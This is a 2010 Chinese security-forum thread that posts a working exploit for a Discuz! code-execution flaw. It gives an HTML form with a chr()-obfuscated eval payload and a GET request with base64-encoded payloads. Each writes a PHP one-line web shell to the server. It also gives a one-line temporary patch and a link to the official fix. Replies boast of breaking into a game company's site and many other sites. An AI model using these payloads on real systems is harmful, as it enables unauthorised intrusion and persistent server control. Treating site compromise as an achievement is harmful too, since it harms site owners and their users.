Board logo

标题: discuz!2010最新漏洞的使用方法附补丁 [打印本页]

作者: 柔肠寸断    时间: 2010-1-7 10:20     标题: discuz!2010最新漏洞的使用方法附补丁

作者:小强

感谢WJS和冰冷的太阳,老君分析过了,我就不多说了,使用exp的话仅限本机测试,其他用途后果自负!

第一种方法:

先注册个用户然后把

<form method="post" action=" http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data">
帖子ID,指定一个存在的帖子即可:<input type="text" name="tid" value="1" />
<input type="hidden" name="action" value="imme_binding" />
<input type="hidden" name="response[result]" value="1:2" />
<input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" />
<input type="submit" name="topicsubmit" value="提交" class="submit" />
</form>

chr解码后是:value="${${evalfputs(fopen('forumdata/cache/usergroup','w'),'<?php eval($_POST[cmd])?>');

里面有个提交地址改下,保存html

打开点提交,会生产forumdata/cache/usergroup_01.php一句话文件,密码是cmd


第二种方法:

直接GET,利用语句:

misc.php?action=imme_binding&response[result]=aa:b&scriptlang[aa]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}

在根目录生成C.PHP密码是C

临时修补方法:

在common.inc.php上面加上
$response=$scriptlang=array();

官方发布修补补丁:
http://www.discuz.net/thread-1537673-1-1.html
作者: clouder    时间: 2010-1-7 21:21

挺你,拿了一个网游公司的分站,还有本地的个社区,本来过来发0day来了,小柔都发了郁闷,不过还是沙发
作者: 柔肠寸断    时间: 2010-1-7 22:01

我也拿了好多站。。。呵呵
作者: clouder    时间: 2010-1-7 23:51

我看了,到这会有的黑客站补丁都还没打!
作者: robout    时间: 2010-1-11 17:43

菜鸟学习一下
作者: robout    时间: 2010-1-11 17:43

菜鸟学习一下
作者: li707392    时间: 2010-1-16 14:05

太难了
学习不了了啊~




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2